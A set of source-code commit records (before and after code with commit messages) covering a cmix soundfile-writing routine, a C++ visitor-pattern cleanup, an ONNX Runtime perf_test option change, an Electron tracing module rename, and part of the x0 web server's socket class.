aifc_requested = 1; set_aifc_header(aifc_requested); /* in sndlib/headers.c */ } /* If writing to a float file, decide whether to normalize the samples, i.e., to divide them all by 32768 so as to make the normal range fall between -1.0 and +1.0. This is what Snd and sndlib like to see, but it's not the old cmix way. */ if (normfloat_requested) normalize_output_floats = 1; #ifdef ALLBUG fprintf(stderr, "name: %s, head: %d, data: %d, aifc: %d, norm: %d\n", rtoutsfname, output_header_type, output_data_format, aifc_requested, normalize_output_floats); #endif return 0; } /* ------------------------------------------------------------- rtoutput --- */ /* This routine is used in the Minc score to open up a file for writing by RT instruments. pp[0] is a pointer to the soundfile name, disguised as a double by the crafty Minc. (p[] is passed in just for fun.) Optional string arguments follow the filename, and parse_rtoutput_args processes these. See the comment at the top of this file for the meaning of these arguments. If "clobber" mode is on, we delete an existing file with the specified file name, creating a header according to what parse_rtoutput_args determines. Returns -1.0 if a file is already open for writing. Dies if there is any other error. */ double rtoutput(float p[], int n_args, double pp[]) { int i, error, loc, nsamps; struct stat statbuf; if (rtfileit == 1) { fprintf(stderr, "A soundfile is already open for writing...\n"); return -1.0; } error = parse_rtoutput_args(n_args, pp); if (error) exit(1); /* already reported in parse_rtoutput_args */ error = stat(rtoutsfname, &statbuf); if (error) { if (errno == ENOENT) { ; /* File doesn't exist -- no problem */ } else { fprintf(stderr, "Error accessing file \"%s\": %s\n", rtoutsfname, strerror(errno)); exit(1); } } else { /* File exists; find out whether we can clobber it */ if (!clobber) { fprintf(stderr, "\n%s\n", CLOBBER_WARNING); exit(1); } else { /* make sure it's a regular file */ if (!S_ISREG(statbuf.st_mode)) { fprintf(stderr, "\"%s\" isn't a regular file; won't clobber it\n", rtoutsfname); exit(1); } /* try to delete it */ error = unlink(rtoutsfname); if (error) { fprintf(stderr, "Error deleting clobbered file \"%s\": %s\n", rtoutsfname, strerror(errno)); exit(1); } } } /* make sure relevant parts of sndlib are initialized */ create_header_buffer(); create_descriptors(); for (i = 0; i < DEFAULT_COMMENT_LENGTH; i++) comment[i] = '\0'; nsamps = loc = 0; error = c_write_header(rtoutsfname, output_header_type, (int)SR, NCHANS, loc, nsamps, output_data_format, comment, DEFAULT_COMMENT_LENGTH); if (error == -1) { fprintf(stderr, "%s: can't write header for output file\n", rtoutsfname); exit(1); } rtoutfile = clm_open_write(rtoutsfname); if (rtoutfile == -1) { fprintf(stderr, "%s: can't write header for output file\n", rtoutsfname); exit(1); } open_clm_file_descriptors(rtoutfile, output_data_format, c_snd_datum_size(output_data_format), c_snd_header_data_location()); if (print_is_on) { printf("Input file %s set for reading\n", rtoutsfname); printf(" type: %s\n", sound_type_name(output_header_type)); printf(" format: %s\n\n", sound_format_name(output_data_format)); } rtfileit = 1; return 1.0; } #else /* !USE_SNDLIB */ int rtoutswap; extern int swap; double rtoutput(float *p, int n_args, double *pp) { /* this routine is used in the Minc score to open up a file for * writing by RT instruments. p[0] is the soundfile name. * This routine will exit if the file already exists (it always * does destructive writes). It will return -1.0 if a file is * already open for writing. * */ int tint,status,i; char tmpch[1000]; /* for testing the file */ char *rtoutsfname; int chans,srate,class; long pvbuf[4]; long buflen; char *insrc; SFHEADER sfdesc; struct stat sfst; if (rtfileit == 1) { fprintf(stderr,"A soundfile is already open for writing...\n"); return(-1.0); } tint = (int)pp[0]; rtoutsfname = (char *)tint; strcpy(tmpch, "test -f "); strcat(tmpch, rtoutsfname); status = 2; rwopensf(rtoutsfname,rtoutfile,sfdesc,sfst,"CMIX",i,status); if (i<0) { fprintf(stderr,"FILE ERROR: could not open file %s\n",rtoutsfname); exit(1); } rtoutswap = swap; if (NCHANS != sfchans(&sfdesc)) { fprintf(stderr,"SETUP ERROR: soundfile channels != rtsetparams channels\n"); exit(1); } if (SR != sfsrate(&sfdesc)) { fprintf(stderr,"SETUP ERROR: soundfile rate != rtsetparams rate\n"); exit(1); } rtfileit = 1; return(1.0); } #endif <|endoftext|>
<commit_before>#include <iostream> #include <typeinfo> /** Please see http://www.eptacom.net/pubblicazioni/pub_eng/mdisp.html for * the code with the original idea. * */ namespace MULTIDISPATCH { using namespace std; /* pynff onfr { choyvp: hfvat cnerag_glcr = onfr; iveghny ~onfr() {} iveghny ibvq s(onfr &) = 0; }; grzcyngr<glcranzr Cnenzrgre> pynff gnetrg { choyvp: iveghny ibvq s_vzcy(Cnenzrgre &) = 0; }; grzcyngr<glcranzr Gnetrg> pynff unf_s; grzcyngr<glcranzr Cnerag> pynff NhkS { choyvp: grzcyngr<glcranzr Gnetrg> fgngvp ibvq qvfcngpu( Gnetrg * g, onfr & o) { hfvat cnerag_unf_s = unf_s<Cnerag>; pbhg << "NhkS<" << glcrvq(Cnerag).anzr() <<">::qvfcngpu((" << glcrvq(Gnetrg).anzr() << ") " << g << ", (" << glcrvq(o).anzr() << ") " << &o << ")" << raqy; (fgngvp_pnfg<cnerag_unf_s *>(g))->unf_s<Cnerag>::s(o); } }; grzcyngr<> pynff NhkS<onfr> { choyvp: grzcyngr<glcranzr Gnetrg> fgngvp ibvq qvfcngpu( Gnetrg * g, onfr & o) { pbhg << "NhkS<onfr>::qvfcngpu((" << glcrvq(Gnetrg).anzr() << ") " << g << ", (" << glcrvq(o).anzr() << ") " << &o << ")" << raqy; guebj (fgq::onq_pnfg()); } }; grzcyngr<pynff Gnetrg> pynff unf_s : iveghny choyvp onfr { choyvp: ibvq s(onfr & o) { hfvat pheerag_gnetrg = gnetrg<Gnetrg>; pbhg << "(" << guvf << ")->unf_s<" << glcrvq(Gnetrg).anzr() << ">::s((" << glcrvq(o).anzr() << ") " << &o << raqy; pheerag_gnetrg * g = qlanzvp_pnfg<pheerag_gnetrg *>(&o); vs (g) { g->s_vzcy(fgngvp_pnfg<Gnetrg &>(*guvf)); } ryfr { hfvat gnetrg_cnerag = glcranzr Gnetrg::cnerag_glcr; NhkS<gnetrg_cnerag>::qvfcngpu( fgngvp_pnfg<Gnetrg *>(guvf), o); } } }; grzcyngr<> pynff unf_s<onfr> { choyvp: ibvq s(onfr & o) { pbhg << "(" << guvf << ")->unf_s<onfr>::s((" << glcrvq(o).anzr() << ") " << &o << raqy; guebj (fgq::onq_pnfg()); } }; */ } namespace tree { using namespace MULTIDISPATCH; template<class Super, typename Me> class derive_with_f : public Super, public has_f<Me> { public: using parent_type = Super; void f(base & b) { has_f<Me>::f(b); } }; class composite; class root : public has_f<root>, public target<root> { public: virtual ~root() {} void f_impl(root & r) { std::cout << "f_impl" << std::endl; } }; class leaf : public derive_with_f<root,leaf> { }; class composite : public derive_with_f<root,composite> { }; class leafcomp : public derive_with_f<composite,leafcomp> { }; } namespace visitor { class base_visitor { public: virtual ~base_visitor() = 0; }; base_visitor::~base_visitor() {} class visitable { public: using alternate_visitable = visitable; virtual ~visitable() = 0; virtual void accept(base_visitor &) = 0; }; visitable::~visitable() {} template<typename Node> class can_visit : virtual public base_visitor { public: virtual void visit(Node &) = 0; }; template<typename Node> class accepting; template<typename Parent> class dispatcher { public: template<typename Node> static void dispatch(Node * n, base_visitor & b) { using parent_accepting = accepting<Parent>; (static_cast<parent_accepting *>(n))->accepting<Parent>::accept(b); } }; template<> class dispatcher<visitable> { public: template<typename Node> static void dispatch(Node * n, base_visitor & b) { std::cerr << "Must not dispatch to visitable!" << std::endl; throw std::bad_cast(); } }; template<typename Node> class accepting : virtual public visitable { public: void accept(base_visitor & b) { std::cout << "Node " << typeid(Node).name() << " accepted? ..."; using current_node = can_visit<Node>; current_node * v = dynamic_cast<current_node *>(&b); if (v) { std::cout << "YES, visit!" << std::endl; v->visit(static_cast<Node &>(*this)); } else { using parent_node = typename Node::parent_type; std::cout << "NO, dispatch to parent " << typeid(parent_node).name() << std::endl; dispatcher<parent_node>::dispatch( static_cast<Node *>(this), b); } } }; template<> class accepting<visitable> { public: void accept(base_visitor & b) { std::cerr << "Must not accept a visitable!" << std::endl; throw std::bad_cast(); } }; template<typename Node> class is_root { public: using parent_type = visitable; }; template<class Parent, typename Node> class derive : public Parent, public accepting<Node> { public: using parent_type = Parent; void accept(base_visitor & b) { accepting<Node>::accept(b); } }; } namespace tree2 { using namespace visitor; class root : public accepting<root>, public is_root<root> { }; class sub : public derive<root,sub> { }; class subcomp : public derive<root,subcomp> { }; class subsub : public derive<sub,subsub> { }; class subsubcomp : public derive<subcomp,subsubcomp> { }; class printer : public can_visit<root>, public can_visit<subcomp> { public: void visit(root & r) { std::cout << "visit as root" << std::endl; } void visit(subcomp & c) { std::cout << "visit as subcomp" << std::endl; } }; } /* template<typename Visitor, typename Element> class multimethod; template<typename Element> class visitor_for; */ int main(int argc, char** argv) { /* using namespace tree; root _root; leaf _leaf; leafcomp _lcomp; root & l = _lcomp; root & r = _root; l.f(r);*/ using namespace tree2; printer p; subsubcomp ssc; root & node = ssc; node.accept(p); return 0; } <commit_msg>Clean up code<commit_after>#include <iostream> #include <typeinfo> namespace visitor { class base_visitor { public: virtual ~base_visitor() = 0; }; base_visitor::~base_visitor() {} class visitable { public: virtual ~visitable() = 0; virtual void accept(base_visitor &) = 0; }; visitable::~visitable() {} template<typename Node> class can_visit : virtual public base_visitor { public: virtual void visit(Node &) = 0; }; template<typename Node> class accepting; template<typename Parent> class dispatcher { public: template<typename Node> static void dispatch(Node * n, base_visitor & b) { using parent_accepting = accepting<Parent>; (static_cast<parent_accepting *>(n))->accepting<Parent>::accept(b); } }; template<> class dispatcher<visitable> { public: template<typename Node> static void dispatch(Node * n, base_visitor & b) { std::cerr << "Must not dispatch to visitable!" << std::endl; throw std::bad_cast(); } }; template<typename Node> class accepting : virtual public visitable { public: void accept(base_visitor & b) { std::cout << "Node " << typeid(Node).name() << " accepted? ..."; using current_node = can_visit<Node>; current_node * v = dynamic_cast<current_node *>(&b); if (v) { std::cout << "YES, visit!" << std::endl; v->visit(static_cast<Node &>(*this)); } else { using parent_node = typename Node::parent_type; std::cout << "NO, dispatch to parent " << typeid(parent_node).name() << std::endl; dispatcher<parent_node>::dispatch( static_cast<Node *>(this), b); } } }; template<> class accepting<visitable> { public: void accept(base_visitor & b) { std::cerr << "Must not accept a visitable!" << std::endl; throw std::bad_cast(); } }; template<typename Node> class is_root { public: using parent_type = visitable; }; template<class Parent, typename Node> class derive : public Parent, public accepting<Node> { public: using parent_type = Parent; void accept(base_visitor & b) { accepting<Node>::accept(b); } }; } namespace tree2 { using namespace visitor; class root : public accepting<root>, public is_root<root> { }; class sub : public derive<root,sub> { }; class subcomp : public derive<root,subcomp> { }; class subsub : public derive<sub,subsub> { }; class subsubcomp : public derive<subcomp,subsubcomp> { }; class printer : public can_visit<root>, public can_visit<subcomp> { public: void visit(root & r) { std::cout << "visit as root" << std::endl; } void visit(subcomp & c) { std::cout << "visit as subcomp" << std::endl; } }; } int main(int argc, char** argv) { using namespace tree2; printer p; subsubcomp ssc; root & node = ssc; node.accept(p); return 0; } <|endoftext|>
<commit_before>// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #include "command_args_parser.h" #include <string.h> #include <iostream> // Windows Specific #ifdef _WIN32 #include "getopt.h" #include "windows.h" #else #include <unistd.h> #endif #include <core/graph/constants.h> #include <core/framework/path_lib.h> #include "test_configuration.h" namespace onnxruntime { namespace perftest { /*static*/ void CommandLineParser::ShowUsage() { printf( "perf_test [options...] model_path result_file\n" "Options:\n" "\t-m [test_mode]: Specifies the test mode. Value could be 'duration' or 'times'.\n" "\t\tProvide 'duration' to run the test for a fix duration, and 'times' to repeated for a certain times. " "\t-M: Disable memory pattern.\n" "\t-A: Disable memory arena\n" "\t-c [parallel runs]: Specifies the (max) number of runs to invoke simultaneously. Default:1.\n" "\t-e [cpu|cuda|mkldnn|tensorrt|ngraph]: Specifies the provider 'cpu','cuda','mkldnn','tensorrt' or 'ngraph'. " "Default:'cpu'.\n" "\t-b [tf|ort]: backend to use. Default:ort\n" "\t-r [repeated_times]: Specifies the repeated times if running in 'times' test mode.Default:1000.\n" "\t-t [seconds_to_run]: Specifies the seconds to run for 'duration' mode. Default:600.\n" "\t-p [profile_file]: Specifies the profile name to enable profiling and dump the profile data to the file.\n" "\t-s: Show statistics result, like P75, P90.\n" "\t-v: Show verbose information.\n" "\t-x [thread_size]: Use parallel executor, default (without -x): sequential executor.\n" "\t-o [optimization level]: 0: No transformer optimization, 1:basic optimization, 2: full optimization. \n" "\t-h: help\n"); } /*static*/ bool CommandLineParser::ParseArguments(PerformanceTestConfig& test_config, int argc, ORTCHAR_T* argv[]) { int ch; while ((ch = getopt(argc, argv, ORT_TSTR("b:m:e:r:t:p:x:c:o:AMvhs"))) != -1) { switch (ch) { case 'm': if (!CompareCString(optarg, ORT_TSTR("duration"))) { test_config.run_config.test_mode = TestMode::kFixDurationMode; } else if (!CompareCString(optarg, ORT_TSTR("times"))) { test_config.run_config.test_mode = TestMode::KFixRepeatedTimesMode; } else { return false; } break; case 'b': test_config.backend = optarg; break; case 'p': test_config.run_config.profile_file = optarg; break; case 'M': test_config.run_config.enable_memory_pattern = false; break; case 'A': test_config.run_config.enable_cpu_mem_arena = false; break; case 'e': if (!CompareCString(optarg, ORT_TSTR("cpu"))) { test_config.machine_config.provider_type_name = onnxruntime::kCpuExecutionProvider; } else if (!CompareCString(optarg, ORT_TSTR("cuda"))) { test_config.machine_config.provider_type_name = onnxruntime::kCudaExecutionProvider; } else if (!CompareCString(optarg, ORT_TSTR("mkldnn"))) { test_config.machine_config.provider_type_name = onnxruntime::kMklDnnExecutionProvider; } else if (!CompareCString(optarg, ORT_TSTR("ngraph"))) { test_config.machine_config.provider_type_name = onnxruntime::kNGraphExecutionProvider; } else if (!CompareCString(optarg, ORT_TSTR("brainslice"))) { test_config.machine_config.provider_type_name = onnxruntime::kBrainSliceExecutionProvider; } else if (!CompareCString(optarg, ORT_TSTR("tensorrt"))) { test_config.machine_config.provider_type_name = onnxruntime::kTensorrtExecutionProvider; } else { return false; } break; case 'r': test_config.run_config.repeated_times = static_cast<size_t>(OrtStrtol<PATH_CHAR_TYPE>(optarg, nullptr)); if (test_config.run_config.repeated_times <= 0) { return false; } test_config.run_config.test_mode = TestMode::KFixRepeatedTimesMode; break; case 't': test_config.run_config.duration_in_seconds = static_cast<size_t>(OrtStrtol<PATH_CHAR_TYPE>(optarg, nullptr)); if (test_config.run_config.repeated_times <= 0) { return false; } test_config.run_config.test_mode = TestMode::kFixDurationMode; break; case 's': test_config.run_config.f_dump_statistics = true; break; case 'v': test_config.run_config.f_verbose = true; break; case 'x': test_config.run_config.enable_sequential_execution = false; test_config.run_config.session_thread_pool_size = static_cast<int>(OrtStrtol<PATH_CHAR_TYPE>(optarg, nullptr)); if (test_config.run_config.session_thread_pool_size <= 0) { return false; } break; case 'c': test_config.run_config.concurrent_session_runs = static_cast<size_t>(OrtStrtol<PATH_CHAR_TYPE>(optarg, nullptr)); if (test_config.run_config.concurrent_session_runs <= 0) { return false; } break; case 'o': test_config.run_config.optimization_level = static_cast<uint32_t>(OrtStrtol<PATH_CHAR_TYPE>(optarg, nullptr)); // Valid values are: 0, 1, 2. if (test_config.run_config.optimization_level > 2) { return false; } break; case '?': case 'h': default: return false; } } // parse model_path and result_file_path argc -= optind; argv += optind; if (argc != 2) return false; test_config.model_info.model_file_path = argv[0]; test_config.model_info.result_file_path = argv[1]; return true; } } // namespace perftest } // namespace onnxruntime <commit_msg>Add -P flag to perftest & repurpose -x (#1236)<commit_after>// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #include "command_args_parser.h" #include <string.h> #include <iostream> // Windows Specific #ifdef _WIN32 #include "getopt.h" #include "windows.h" #else #include <unistd.h> #endif #include <core/graph/constants.h> #include <core/framework/path_lib.h> #include "test_configuration.h" namespace onnxruntime { namespace perftest { /*static*/ void CommandLineParser::ShowUsage() { printf( "perf_test [options...] model_path result_file\n" "Options:\n" "\t-m [test_mode]: Specifies the test mode. Value could be 'duration' or 'times'.\n" "\t\tProvide 'duration' to run the test for a fix duration, and 'times' to repeated for a certain times. " "\t-M: Disable memory pattern.\n" "\t-A: Disable memory arena\n" "\t-c [parallel runs]: Specifies the (max) number of runs to invoke simultaneously. Default:1.\n" "\t-e [cpu|cuda|mkldnn|tensorrt|ngraph]: Specifies the provider 'cpu','cuda','mkldnn','tensorrt' or 'ngraph'. " "Default:'cpu'.\n" "\t-b [tf|ort]: backend to use. Default:ort\n" "\t-r [repeated_times]: Specifies the repeated times if running in 'times' test mode.Default:1000.\n" "\t-t [seconds_to_run]: Specifies the seconds to run for 'duration' mode. Default:600.\n" "\t-p [profile_file]: Specifies the profile name to enable profiling and dump the profile data to the file.\n" "\t-s: Show statistics result, like P75, P90.\n" "\t-v: Show verbose information.\n" "\t-x [thread_size]: Session thread pool size.\n" "\t-P: Use parallel executor instead of sequential executor.\n" "\t-o [optimization level]: 0: No transformer optimization, 1:basic optimization, 2: full optimization. \n" "\t-h: help\n"); } /*static*/ bool CommandLineParser::ParseArguments(PerformanceTestConfig& test_config, int argc, ORTCHAR_T* argv[]) { int ch; while ((ch = getopt(argc, argv, ORT_TSTR("b:m:e:r:t:p:x:c:o:AMPvhs"))) != -1) { switch (ch) { case 'm': if (!CompareCString(optarg, ORT_TSTR("duration"))) { test_config.run_config.test_mode = TestMode::kFixDurationMode; } else if (!CompareCString(optarg, ORT_TSTR("times"))) { test_config.run_config.test_mode = TestMode::KFixRepeatedTimesMode; } else { return false; } break; case 'b': test_config.backend = optarg; break; case 'p': test_config.run_config.profile_file = optarg; break; case 'M': test_config.run_config.enable_memory_pattern = false; break; case 'A': test_config.run_config.enable_cpu_mem_arena = false; break; case 'e': if (!CompareCString(optarg, ORT_TSTR("cpu"))) { test_config.machine_config.provider_type_name = onnxruntime::kCpuExecutionProvider; } else if (!CompareCString(optarg, ORT_TSTR("cuda"))) { test_config.machine_config.provider_type_name = onnxruntime::kCudaExecutionProvider; } else if (!CompareCString(optarg, ORT_TSTR("mkldnn"))) { test_config.machine_config.provider_type_name = onnxruntime::kMklDnnExecutionProvider; } else if (!CompareCString(optarg, ORT_TSTR("ngraph"))) { test_config.machine_config.provider_type_name = onnxruntime::kNGraphExecutionProvider; } else if (!CompareCString(optarg, ORT_TSTR("brainslice"))) { test_config.machine_config.provider_type_name = onnxruntime::kBrainSliceExecutionProvider; } else if (!CompareCString(optarg, ORT_TSTR("tensorrt"))) { test_config.machine_config.provider_type_name = onnxruntime::kTensorrtExecutionProvider; } else { return false; } break; case 'r': test_config.run_config.repeated_times = static_cast<size_t>(OrtStrtol<PATH_CHAR_TYPE>(optarg, nullptr)); if (test_config.run_config.repeated_times <= 0) { return false; } test_config.run_config.test_mode = TestMode::KFixRepeatedTimesMode; break; case 't': test_config.run_config.duration_in_seconds = static_cast<size_t>(OrtStrtol<PATH_CHAR_TYPE>(optarg, nullptr)); if (test_config.run_config.repeated_times <= 0) { return false; } test_config.run_config.test_mode = TestMode::kFixDurationMode; break; case 's': test_config.run_config.f_dump_statistics = true; break; case 'v': test_config.run_config.f_verbose = true; break; case 'x': test_config.run_config.session_thread_pool_size = static_cast<int>(OrtStrtol<PATH_CHAR_TYPE>(optarg, nullptr)); if (test_config.run_config.session_thread_pool_size <= 0) { return false; } break; case 'P': test_config.run_config.enable_sequential_execution = false; break; case 'c': test_config.run_config.concurrent_session_runs = static_cast<size_t>(OrtStrtol<PATH_CHAR_TYPE>(optarg, nullptr)); if (test_config.run_config.concurrent_session_runs <= 0) { return false; } break; case 'o': test_config.run_config.optimization_level = static_cast<uint32_t>(OrtStrtol<PATH_CHAR_TYPE>(optarg, nullptr)); // Valid values are: 0, 1, 2. if (test_config.run_config.optimization_level > 2) { return false; } break; case '?': case 'h': default: return false; } } // parse model_path and result_file_path argc -= optind; argv += optind; if (argc != 2) return false; test_config.model_info.model_file_path = argv[0]; test_config.model_info.result_file_path = argv[1]; return true; } } // namespace perftest } // namespace onnxruntime <|endoftext|>
<commit_before>// Copyright (c) 2014 GitHub, Inc. // Use of this source code is governed by the MIT license that can be // found in the LICENSE file. #include <set> #include <string> #include "atom/common/native_mate_converters/callback.h" #include "atom/common/native_mate_converters/file_path_converter.h" #include "base/bind.h" #include "base/files/file_util.h" #include "content/public/browser/tracing_controller.h" #include "native_mate/dictionary.h" #include "atom/common/node_includes.h" using content::TracingController; namespace mate { template<> struct Converter<base::trace_event::TraceConfig> { static bool FromV8(v8::Isolate* isolate, v8::Local<v8::Value> val, base::trace_event::TraceConfig* out) { Dictionary options; if (!ConvertFromV8(isolate, val, &options)) return false; std::string category_filter, trace_options; if (!options.Get("categoryFilter", &category_filter) || !options.Get("traceOptions", &trace_options)) return false; *out = base::trace_event::TraceConfig(category_filter, trace_options); return true; } }; } // namespace mate namespace { using CompletionCallback = base::Callback<void(const base::FilePath&)>; scoped_refptr<TracingController::TraceDataSink> GetTraceDataSink( const base::FilePath& path, const CompletionCallback& callback) { base::FilePath result_file_path = path; if (result_file_path.empty() && !base::CreateTemporaryFile(&result_file_path)) LOG(ERROR) << "Creating temporary file failed"; return TracingController::CreateFileSink(result_file_path, base::Bind(callback, result_file_path)); } void StopRecording(const base::FilePath& path, const CompletionCallback& callback) { TracingController::GetInstance()->StopTracing( GetTraceDataSink(path, callback)); } void Initialize(v8::Local<v8::Object> exports, v8::Local<v8::Value> unused, v8::Local<v8::Context> context, void* priv) { auto controller = base::Unretained(TracingController::GetInstance()); mate::Dictionary dict(context->GetIsolate(), exports); dict.SetMethod("getCategories", base::Bind( &TracingController::GetCategories, controller)); dict.SetMethod("startRecording", base::Bind( &TracingController::StartTracing, controller)); dict.SetMethod("stopRecording", &StopRecording); dict.SetMethod("getTraceBufferUsage", base::Bind( &TracingController::GetTraceBufferUsage, controller)); } } // namespace NODE_MODULE_CONTEXT_AWARE_BUILTIN(atom_browser_content_tracing, Initialize) <commit_msg>Changed TracingController sink suffix to endpoint<commit_after>// Copyright (c) 2014 GitHub, Inc. // Use of this source code is governed by the MIT license that can be // found in the LICENSE file. #include <set> #include <string> #include "atom/common/native_mate_converters/callback.h" #include "atom/common/native_mate_converters/file_path_converter.h" #include "base/bind.h" #include "base/files/file_util.h" #include "content/public/browser/tracing_controller.h" #include "native_mate/dictionary.h" #include "atom/common/node_includes.h" using content::TracingController; namespace mate { template<> struct Converter<base::trace_event::TraceConfig> { static bool FromV8(v8::Isolate* isolate, v8::Local<v8::Value> val, base::trace_event::TraceConfig* out) { Dictionary options; if (!ConvertFromV8(isolate, val, &options)) return false; std::string category_filter, trace_options; if (!options.Get("categoryFilter", &category_filter) || !options.Get("traceOptions", &trace_options)) return false; *out = base::trace_event::TraceConfig(category_filter, trace_options); return true; } }; } // namespace mate namespace { using CompletionCallback = base::Callback<void(const base::FilePath&)>; scoped_refptr<TracingController::TraceDataEndpoint> GetTraceDataEndpoint( const base::FilePath& path, const CompletionCallback& callback) { base::FilePath result_file_path = path; if (result_file_path.empty() && !base::CreateTemporaryFile(&result_file_path)) LOG(ERROR) << "Creating temporary file failed"; return TracingController::CreateFileEndpoint(result_file_path, base::Bind(callback, result_file_path)); } void StopRecording(const base::FilePath& path, const CompletionCallback& callback) { TracingController::GetInstance()->StopTracing( GetTraceDataEndpoint(path, callback)); } void Initialize(v8::Local<v8::Object> exports, v8::Local<v8::Value> unused, v8::Local<v8::Context> context, void* priv) { auto controller = base::Unretained(TracingController::GetInstance()); mate::Dictionary dict(context->GetIsolate(), exports); dict.SetMethod("getCategories", base::Bind( &TracingController::GetCategories, controller)); dict.SetMethod("startRecording", base::Bind( &TracingController::StartTracing, controller)); dict.SetMethod("stopRecording", &StopRecording); dict.SetMethod("getTraceBufferUsage", base::Bind( &TracingController::GetTraceBufferUsage, controller)); } } // namespace NODE_MODULE_CONTEXT_AWARE_BUILTIN(atom_browser_content_tracing, Initialize) <|endoftext|>
<commit_before>/* <x0/Socket.cpp> * * This file is part of the x0 web server project and is released under LGPL-3. * http://www.xzero.ws/ * * (c) 2009-2010 Christian Parpart <trapni@gentoo.org> */ #include <x0/Socket.h> #include <x0/Buffer.h> #include <x0/BufferRef.h> #include <x0/Defines.h> #include <x0/StackTrace.h> #include <atomic> #include <fcntl.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <sys/sendfile.h> #include <unistd.h> #include <system_error> #if !defined(NDEBUG) # define TRACE(msg...) this->debug(msg) #else # define TRACE(msg...) ((void *)0) #endif #define ERROR(msg...) { \ TRACE(msg); \ TRACE("Stack Trace:\n%s", StackTrace().c_str()); \ } namespace x0 { Socket::Socket(struct ev_loop *loop, int fd, int af) : loop_(loop), fd_(fd), addressFamily_(af), watcher_(loop), timer_(loop), secure_(false), state_(Operational), mode_(None), tcpCork_(false), remoteIP_(), remotePort_(0), localIP_(), localPort_(), callback_(nullptr), callbackData_(0) { #ifndef NDEBUG debug(false); static std::atomic<unsigned long long> id(0); setLoggingPrefix("Socket(%d, %s:%d)", ++id, remoteIP().c_str(), remotePort()); #endif TRACE("created. fd:%d, local(%s:%d)", fd_, localIP().c_str(), localPort()); watcher_.set<Socket, &Socket::io>(this); timer_.set<Socket, &Socket::timeout>(this); } Socket::~Socket() { TRACE("destroying. fd:%d, local(%s:%d)", fd_, localIP().c_str(), localPort()); if (fd_ >= 0) ::close(fd_); } bool Socket::setNonBlocking(bool enabled) { if (enabled) return fcntl(fd_, F_SETFL, O_NONBLOCK) == 0; else return fcntl(fd_, F_SETFL, fcntl(fd_, F_GETFL) & ~O_NONBLOCK) == 0; } bool Socket::setTcpNoDelay(bool enable) { int flag = enable ? 1 : 0; return setsockopt(fd_, SOL_TCP, TCP_NODELAY, &flag, sizeof(flag)) == 0; } bool Socket::setTcpCork(bool enable) { #if defined(TCP_CORK) int flag = enable ? 1 : 0; bool rv = setsockopt(fd_, IPPROTO_TCP, TCP_CORK, &flag, sizeof(flag)) == 0; TRACE("setTcpCork: %d => %d", enable, rv); tcpCork_ = rv ? enable : false; return rv; #else return false; #endif } void Socket::setMode(Mode m) { static const char *ms[] = { "None", "Read", "Write", "ReadWrite" }; TRACE("setMode() %s -> %s", ms[static_cast<int>(mode_)], ms[static_cast<int>(m)]); if (m != mode_) { if (m != None) { TRACE("setMode: set flags"); watcher_.set(fd_, static_cast<int>(m)); if (mode_ == None && !watcher_.is_active()) { TRACE("setMode: start watcher"); watcher_.start(); } } else { TRACE("stop watcher and timer"); if (watcher_.is_active()) watcher_.stop(); if (timer_.is_active()) timer_.stop(); } mode_ = m; } } void Socket::clearReadyCallback() { callback_ = nullptr; callbackData_ = nullptr; } void Socket::close() { TRACE("close: fd=%d", fd_); if (fd_< 0) return; watcher_.stop(); timer_.stop(); ::close(fd_); fd_ = -1; } ssize_t Socket::read(Buffer& result) { ssize_t nread = 0; for (;;) { if (result.capacity() - result.size() < 256) result.reserve(result.size() * 1.5); ssize_t rv = ::read(fd_, result.end(), result.capacity() - result.size()); if (rv <= 0) { TRACE("read(): rv=%ld -> %ld: %s", rv, result.size(), strerror(errno)); return nread != 0 ? nread : rv; } else { TRACE("read() -> %ld", rv); nread += rv; result.resize(result.size() + rv); } } } ssize_t Socket::write(const void *buffer, size_t size) { #if 0 // !defined(NDEBUG) //TRACE("write('%s')", source.str().c_str()); ssize_t rv = ::write(fd_, source.data(), source.size()); TRACE("write: %ld => %ld", source.size(), rv); if (rv < 0 && errno != EINTR && errno != EAGAIN) ERROR("Socket(%d).write: error (%d): %s", fd_, errno, strerror(errno)); return rv; #else return ::write(fd_, buffer, size); #endif } ssize_t Socket::write(int fd, off_t *offset, size_t nbytes) { #if !defined(NDEBUG) //auto offset0 = *offset; ssize_t rv = ::sendfile(fd_, fd, offset, nbytes); //TRACE("write(fd=%d, offset=[%ld->%ld], nbytes=%ld) -> %ld", fd, offset0, *offset, nbytes, rv); if (rv < 0 && errno != EINTR && errno != EAGAIN) ERROR("Socket(%d).write(): sendfile: rv=%ld (%s)", fd_, rv, strerror(errno)); return rv; #else return ::sendfile(fd_, fd, offset, nbytes); #endif } void Socket::handshake(int /*revents*/) { // plain (unencrypted) TCP/IP sockets do not need an additional handshake } void Socket::io(ev::io& /*io*/, int revents) { //TRACE("io(revents=0x%04X): mode=%d", revents, mode_); timer_.stop(); if (state_ == Handshake) handshake(revents); else if (callback_) callback_(this, callbackData_, revents); } void Socket::timeout(ev::timer& timer, int revents) { TRACE("timeout(revents=0x%04X): mode=%d", revents, mode_); watcher_.stop(); if (timeoutCallback_) timeoutCallback_(this, timeoutData_); } std::string Socket::remoteIP() const { const_cast<Socket *>(this)->queryRemoteName(); return remoteIP_; } unsigned int Socket::remotePort() const { const_cast<Socket *>(this)->queryRemoteName(); return remotePort_; } void Socket::queryRemoteName() { if (remotePort_ || fd_ < 0) return; switch (addressFamily_) { case AF_INET6: { sockaddr_in6 saddr; socklen_t slen = sizeof(saddr); if (getpeername(fd_, (sockaddr *)&saddr, &slen) == 0) { char buf[128]; if (inet_ntop(AF_INET6, &saddr.sin6_addr, buf, sizeof(buf))) { remoteIP_ = buf; remotePort_ = ntohs(saddr.sin6_port); } } break; } case AF_INET: { sockaddr_in saddr; socklen_t slen = sizeof(saddr); if (getpeername(fd_, (sockaddr *)&saddr, &slen) == 0) { char buf[128]; if (inet_ntop(AF_INET, &saddr.sin_addr, buf, sizeof(buf))) { remoteIP_ = buf; remotePort_ = ntohs(saddr.sin_port); } } break; } default: break; } } std::string Socket::localIP() const { const_cast<Socket *>(this)->queryLocalName(); return localIP_; } unsigned int Socket::localPort() const { const_cast<Socket *>(this)->queryLocalName(); return localPort_; } void Socket::queryLocalName() { if (!localPort_ && fd_ >= 0) { switch (addressFamily_) { case AF_INET6: { sockaddr_in6 saddr; socklen_t slen = sizeof(saddr); if (getsockname(fd_, (sockaddr *)&saddr, &slen) == 0) { char buf[128]; if (inet_ntop(AF_INET6, 